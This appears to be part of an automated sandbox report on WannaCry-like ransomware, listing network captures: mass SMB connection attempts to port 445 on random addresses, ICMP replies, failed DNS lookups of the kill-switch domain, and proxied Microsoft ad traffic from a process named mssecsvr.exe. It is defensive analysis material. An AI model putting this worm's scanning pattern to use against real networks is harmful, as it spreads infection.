Jul 20, 2022 06:10:33.938724995 CEST	65345	445	192.168.2.6	176.241.42.173
Jul 20, 2022 06:10:33.994235992 CEST	445	65345	176.241.42.173	192.168.2.6
Jul 20, 2022 06:10:34.202182055 CEST	65336	445	192.168.2.6	163.191.136.6
Jul 20, 2022 06:10:34.309906960 CEST	65342	445	192.168.2.6	134.220.131.6
Jul 20, 2022 06:10:34.450845957 CEST	65465	445	192.168.2.6	37.21.160.198
Jul 20, 2022 06:10:34.450963974 CEST	65467	445	192.168.2.6	178.159.42.190
Jul 20, 2022 06:10:34.450965881 CEST	65466	445	192.168.2.6	176.241.42.174
Jul 20, 2022 06:10:34.451200008 CEST	65468	445	192.168.2.6	51.83.204.46
Jul 20, 2022 06:10:34.702464104 CEST	65473	445	192.168.2.6	219.68.89.47
Jul 20, 2022 06:10:34.703284025 CEST	65480	445	192.168.2.6	29.252.153.152
Jul 20, 2022 06:10:34.704225063 CEST	65483	445	192.168.2.6	184.169.198.38
Jul 20, 2022 06:10:34.704685926 CEST	65493	445	192.168.2.6	196.148.35.93
Jul 20, 2022 06:10:34.704827070 CEST	65494	445	192.168.2.6	43.212.196.43
Jul 20, 2022 06:10:34.705163002 CEST	65497	445	192.168.2.6	74.138.24.82
Jul 20, 2022 06:10:34.705502033 CEST	65500	445	192.168.2.6	179.95.32.177
Jul 20, 2022 06:10:34.705993891 CEST	65505	445	192.168.2.6	159.164.160.114
Jul 20, 2022 06:10:34.707365036 CEST	65518	445	192.168.2.6	6.113.223.163
Jul 20, 2022 06:10:34.707747936 CEST	65521	445	192.168.2.6	10.240.223.219
Jul 20, 2022 06:10:34.708959103 CEST	65533	445	192.168.2.6	144.153.40.10
Jul 20, 2022 06:10:34.709196091 CEST	49152	445	192.168.2.6	5.63.133.110
Jul 20, 2022 06:10:34.709546089 CEST	49155	445	192.168.2.6	172.83.244.138
Jul 20, 2022 06:10:34.709680080 CEST	49156	445	192.168.2.6	6.0.46.19
Jul 20, 2022 06:10:34.710124016 CEST	49160	445	192.168.2.6	98.84.242.101
Jul 20, 2022 06:10:34.711191893 CEST	49170	445	192.168.2.6	215.252.58.247
Jul 20, 2022 06:10:34.711647034 CEST	49173	445	192.168.2.6	53.69.16.148
Jul 20, 2022 06:10:34.711880922 CEST	49175	445	192.168.2.6	59.39.229.206
Jul 20, 2022 06:10:34.712142944 CEST	49177	445	192.168.2.6	17.104.82.190
Jul 20, 2022 06:10:34.713237047 CEST	49187	445	192.168.2.6	92.125.197.171

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 06:05:54.649823904 CEST	55201	53	192.168.2.6	8.8.8.8
Jul 20, 2022 06:05:54.669706106 CEST	53	55201	8.8.8.8	192.168.2.6
Jul 20, 2022 06:05:55.753711939 CEST	59293	53	192.168.2.6	8.8.8.8
Jul 20, 2022 06:05:55.770688057 CEST	53	59293	8.8.8.8	192.168.2.6
Jul 20, 2022 06:05:57.606699944 CEST	58723	53	192.168.2.6	8.8.8.8
Jul 20, 2022 06:05:57.626904964 CEST	53	58723	8.8.8.8	192.168.2.6
Jul 20, 2022 06:06:11.925729036 CEST	138	138	192.168.2.6	192.168.2.255
Jul 20, 2022 06:10:09.457098961 CEST	138	138	192.168.2.6	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 20, 2022 06:06:00.174493074 CEST	200.3.34.238	192.168.2.6	4614	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:06:14.556816101 CEST	84.180.217.122	192.168.2.6	3367	(Unknown)	Destination Unreachable
Jul 20, 2022 06:06:22.807269096 CEST	172.16.19.213	192.168.2.6	30be	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:06:38.505496979 CEST	62.252.72.254	192.168.2.6	9b3e	(Unknown)	Destination Unreachable
Jul 20, 2022 06:06:39.135776997 CEST	92.195.40.250	192.168.2.6	bf4b	(Unknown)	Destination Unreachable
Jul 20, 2022 06:06:39.779318094 CEST	116.74.100.1	192.168.2.6	8825	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:06:40.784564018 CEST	84.86.180.232	192.168.2.6	3de3	(Unknown)	Destination Unreachable
Jul 20, 2022 06:06:46.266421080 CEST	206.126.62.25	192.168.2.6	9f4d	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:06:48.797460079 CEST	43.255.133.210	192.168.2.6	982a	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:06:54.915741920 CEST	96.63.137.66	192.168.2.6	8c20	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:06:55.152009964 CEST	64.125.223.38	192.168.2.6	7ab2	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:06:57.370265961 CEST	185.210.219.50	192.168.2.6	4bdc	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:06:57.778033018 CEST	178.159.42.14	192.168.2.6	9c78	(Unknown)	Destination Unreachable
Jul 20, 2022 06:06:58.464978933 CEST	89.250.100.6	192.168.2.6	803b	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:07:01.143770933 CEST	178.159.42.17	192.168.2.6	9c7b	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:01.827696085 CEST	178.24.239.163	192.168.2.6	870e	(Port unreachable)	Destination Unreachable
Jul 20, 2022 06:07:02.267133951 CEST	94.252.24.25	192.168.2.6	4307	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:02.684657097 CEST	192.143.49.54	192.168.2.6	b197	(Port unreachable)	Destination Unreachable
Jul 20, 2022 06:07:05.341865063 CEST	217.63.127.243	192.168.2.6	d2d5	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:07:05.426141977 CEST	134.129.29.123	192.168.2.6	5f94	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:08.680052042 CEST	89.96.232.4	192.168.2.6	fa04	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:07:08.799288988 CEST	206.251.177.24	192.168.2.6	3fdc	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:10.793894053 CEST	10.170.34.34	192.168.2.6	99e2	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:07:12.169147968 CEST	64.109.35.79	192.168.2.6	4cab	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:13.928379059 CEST	212.58.69.3	192.168.2.6	e125	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:07:14.361375093 CEST	87.188.81.168	192.168.2.6	ca84	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:14.451235056 CEST	194.108.199.243	192.168.2.6	8834	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:07:15.633781910 CEST	149.14.159.114	192.168.2.6	8821	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:17.753643990 CEST	79.247.219.95	192.168.2.6	275c	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:17.928325891 CEST	14.143.231.22	192.168.2.6	740f	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:07:19.312092066 CEST	189.124.0.3	192.168.2.6	47cc	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:07:21.626307011 CEST	178.159.42.35	192.168.2.6	9c8d	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:26.894769907 CEST	79.237.83.228	192.168.2.6	1461	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:29.972654104 CEST	216.202.209.1	192.168.2.6	69a9	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:07:34.808494091 CEST	212.83.128.84	192.168.2.6	1473	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:34.944282055 CEST	208.184.165.86	192.168.2.6	a0b1	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:35.369307995 CEST	178.159.42.45	192.168.2.6	9c97	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:35.945652962 CEST	91.41.99.51	192.168.2.6	a0cc	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:37.208424091 CEST	67.230.189.215	192.168.2.6	c185	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:42.980218887 CEST	178.159.42.51	192.168.2.6	9c9d	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:43.400535107 CEST	95.215.3.85	192.168.2.6	630	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:43.460984945 CEST	198.7.224.246	192.168.2.6	2d6e	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:44.057739973 CEST	178.159.42.52	192.168.2.6	9c9e	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:46.203095913 CEST	178.159.42.54	192.168.2.6	9ca0	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:47.276896954 CEST	178.159.42.55	192.168.2.6	9ca1	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:47.892268896 CEST	91.97.69.129	192.168.2.6	edf3	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:49.214699984 CEST	62.115.187.37	192.168.2.6	5047	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:50.497770071 CEST	178.159.42.58	192.168.2.6	9ca4	(Unknown)	Destination Unreachable
Jul 20, 2022 06:07:58.087254047 CEST	178.159.42.65	192.168.2.6	9cab	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:03.420922041 CEST	176.241.42.34	192.168.2.6	9ae7	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:03.542956114 CEST	158.175.118.177	192.168.2.6	d5f0	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:03.874967098 CEST	80.0.161.2	192.168.2.6	6c3d	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:03.904623032 CEST	87.141.126.155	192.168.2.6	1de9	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:03.938244104 CEST	150.99.188.154	192.168.2.6	6485	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:08:04.748711109 CEST	217.70.176.9	192.168.2.6	1eb8	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:07.255691051 CEST	84.157.144.230	192.168.2.6	fa8	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:08.657032967 CEST	62.61.43.1	192.168.2.6	4f86	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:09.569448948 CEST	92.117.227.32	192.168.2.6	7cfe	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:10.546035051 CEST	68.87.195.62	192.168.2.6	d628	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:12.997391939 CEST	136.33.250.74	192.168.2.6	423e	(Port unreachable)	Destination Unreachable
Jul 20, 2022 06:08:13.733119011 CEST	195.201.65.92	192.168.2.6	d667	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:13.890238047 CEST	182.163.61.250	192.168.2.6	b37d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:14.941823959 CEST	100.70.16.54	192.168.2.6	9a36	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:15.332314014 CEST	179.184.126.175	192.168.2.6	d125	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:19.135643005 CEST	178.159.42.80	192.168.2.6	9cba	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:21.472376108 CEST	67.59.233.85	192.168.2.6	dd92	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:25.232989073 CEST	81.96.230.10	192.168.2.6	6bd9	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:27.358987093 CEST	84.158.211.229	192.168.2.6	a3e7	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:30.993149042 CEST	216.123.165.162	192.168.2.6	e0cf	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:08:32.155680895 CEST	178.159.42.90	192.168.2.6	9cc4	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:40.957330942 CEST	149.14.159.114	192.168.2.6	65e0	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:42.081896067 CEST	81.210.61.138	192.168.2.6	a0a6	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:08:43.915774107 CEST	178.159.42.100	192.168.2.6	9cce	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:45.058090925 CEST	178.159.42.101	192.168.2.6	9ccf	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:45.527990103 CEST	69.17.199.233	192.168.2.6	cb7c	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:08:45.540911913 CEST	213.164.126.1	192.168.2.6	ec0	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:47.684603930 CEST	159.89.25.43	192.168.2.6	784f	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:48.966950893 CEST	216.66.27.22	192.168.2.6	bfa2	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:49.181360960 CEST	213.136.41.202	192.168.2.6	332d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:08:50.268305063 CEST	87.179.45.107	192.168.2.6	fc89	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:55.886282921 CEST	178.159.42.111	192.168.2.6	9cd9	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:55.959115982 CEST	149.11.89.129	192.168.2.6	b34d	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:08:57.375643969 CEST	178.1.146.149	192.168.2.6	44c1	(Unknown)	Destination Unreachable
Jul 20, 2022 06:08:58.220094919 CEST	178.159.42.113	192.168.2.6	9cdb	(Unknown)	Destination Unreachable
Jul 20, 2022 06:09:03.306047916 CEST	95.90.42.128	192.168.2.6	7e8	(Unknown)	Destination Unreachable
Jul 20, 2022 06:09:04.653934002 CEST	211.78.144.5	192.168.2.6	2521	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:09:04.656063080 CEST	178.159.42.119	192.168.2.6	9ce1	(Unknown)	Destination Unreachable
Jul 20, 2022 06:09:12.487799883 CEST	140.105.76.253	192.168.2.6	9a17	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:09:17.176492929 CEST	178.159.42.128	192.168.2.6	9cea	(Unknown)	Destination Unreachable
Jul 20, 2022 06:09:17.199372053 CEST	50.232.36.186	192.168.2.6	7fa1	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:09:20.708808899 CEST	49.231.46.68	192.168.2.6	fdb3	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:09:22.823462009 CEST	185.149.212.22	192.168.2.6	8952	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:09:22.953246117 CEST	84.155.81.74	192.168.2.6	d1e9	(Unknown)	Destination Unreachable
Jul 20, 2022 06:09:23.008013010 CEST	66.109.149.27	192.168.2.6	90de	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:09:29.607635021 CEST	66.170.32.2	192.168.2.6	1075	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:09:33.601610899 CEST	97.73.65.16	192.168.2.6	e464	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:09:35.005784035 CEST	103.87.184.147	192.168.2.6	9e43	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:09:36.166271925 CEST	218.248.100.61	192.168.2.6	ef88	(Unknown)	Destination Unreachable
Jul 20, 2022 06:09:42.767448902 CEST	149.11.89.129	192.168.2.6	6be7	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:09:43.777208090 CEST	149.11.89.129	192.168.2.6	a18c	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:09:43.814261913 CEST	185.198.120.2	192.168.2.6	d915	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:09:46.278996944 CEST	67.38.100.82	192.168.2.6	f43c	(Unknown)	Destination Unreachable
Jul 20, 2022 06:09:48.207303047 CEST	178.33.99.160	192.168.2.6	b72c	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:09:50.062118053 CEST	178.159.42.156	192.168.2.6	9d06	(Unknown)	Destination Unreachable
Jul 20, 2022 06:09:57.134355068 CEST	194.166.190.203	192.168.2.6	d771	(Unknown)	Destination Unreachable
Jul 20, 2022 06:09:59.266215086 CEST	115.74.186.134	192.168.2.6	eda4	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:10:01.655905008 CEST	212.56.192.32	192.168.2.6	5424	(Unknown)	Destination Unreachable
Jul 20, 2022 06:10:04.022939920 CEST	176.241.42.145	192.168.2.6	9b56	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:10:04.742392063 CEST	63.251.86.1	192.168.2.6	562b	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:10:04.988621950 CEST	130.242.6.149	192.168.2.6	21f5	(Net unreachable)	Destination Unreachable
Jul 20, 2022 06:10:08.327081919 CEST	178.33.99.160	192.168.2.6	b73e	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:10:10.088144064 CEST	172.22.52.26	192.168.2.6	fe4f	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:10:11.597806931 CEST	178.33.99.160	192.168.2.6	b741	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:10:11.710621119 CEST	149.3.183.10	192.168.2.6	e6b6	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:10:12.236381054 CEST	149.6.190.50	192.168.2.6	d8bd	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:10:12.854187012 CEST	221.170.252.201	192.168.2.6	4444	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:10:15.209127903 CEST	69.55.0.58	192.168.2.6	1709	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 06:10:20.259052038 CEST	178.159.42.179	192.168.2.6	9d1d	(Unknown)	Destination Unreachable
Jul 20, 2022 06:10:20.608916044 CEST	202.232.7.146	192.168.2.6	52d9	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:10:22.905080080 CEST	151.16.107.113	192.168.2.6	efe7	(Unknown)	Destination Unreachable
Jul 20, 2022 06:10:29.264440060 CEST	70.58.62.94	192.168.2.6	4468	(Port unreachable)	Destination Unreachable
Jul 20, 2022 06:10:30.436549902 CEST	85.163.13.25	192.168.2.6	ae2f	(Host unreachable)	Destination Unreachable
Jul 20, 2022 06:10:33.399578094 CEST	178.159.42.189	192.168.2.6	9d27	(Unknown)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 20, 2022 06:05:54.649823904 CEST	192.168.2.6	8.8.8.8	0x362c	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 06:05:55.753711939 CEST	192.168.2.6	8.8.8.8	0xc616	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 06:05:57.606699944 CEST	192.168.2.6	8.8.8.8	0x522	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 20, 2022 06:05:54.669706106 CEST	8.8.8.8	192.168.2.6	0x362c	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 06:05:55.770688057 CEST	8.8.8.8	192.168.2.6	0xc616	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 06:05:57.626904964 CEST	8.8.8.8	192.168.2.6	0x522	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

arc.msn.com

store-images.s-microsoft.com

https:

www.bing.com

img-prod-cms-rt-microsoft-com.akamaized.net

sls.update.microsoft.com

ris.api.iris.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49719	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:43 UTC	0	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130532Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=446475071cdd48e6b5018e49dc2e3854&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 Cache-Control: no-cache MS-CV: 4PoDHLTDLkyF8Keq.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 04:05:43 UTC	3	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=533 Content-Length: 53755 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNCRFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6VK_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: B6BorNpA2RQsGuFiwjHdG0/x84kWYhu8hZVZtJfmCv0Q358K0VBE1OWeqYAN7lluahaZZPL/8C/vcVTu9r71QEt1uhoU9Pee+eRwfZq9rFEsaHmfa46lc+8ZEFxxKuM4bMuAM0hYy280ZGp08hUMqCzBLtWIGNVvGYGQUWGx/282WsUIiIYeh3IkuaxBxFoZk67ufBc0fJ1k/u5RBmmpkR+XjG01cIIpKfK59RdRcqBiG5UJALekZFwRBnPfyltyLRRUDJIvn4sf3b3u7FAv5dBdBJuUHs/xy7gQmW5dHZ7ipqFwuqDtZWdO+REzuEJ+m+wEYgypl8J1y4RGGCGgCg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 04:05:43 GMT Connection: close
2022-07-20 04:05:43 UTC	4	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"boolean\
2022-07-20 04:05:43 UTC	19	IN	Data Raw: 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 35 35 33 64 62 64 63 36 34 64 32 39 34 37 36 64 62 32 61 66 35 62 34 63 63 66 66 36 64 31 66 62 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c Data Ascii: ":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startprogrammable&ccid=553dbdc64d29476db2af5b4ccff6d1fb&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{},
2022-07-20 04:05:43 UTC	35	IN	Data Raw: 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 33 34 32 33 37 65 63 34 37 39 64 64 34 34 34 61 61 61 36 36 66 35 63 65 34 66 39 65 37 35 37 63 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 Data Ascii: tprogrammable&ccid=34237ec479dd444aaa66f5ce4f9e757c&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"showNameOnWideTile\":{\"bool\":true},\"sh
2022-07-20 04:05:43 UTC	51	IN	Data Raw: 61 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 46 38 62 66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 6d 61 67 65 5c 2f 61 70 70 Data 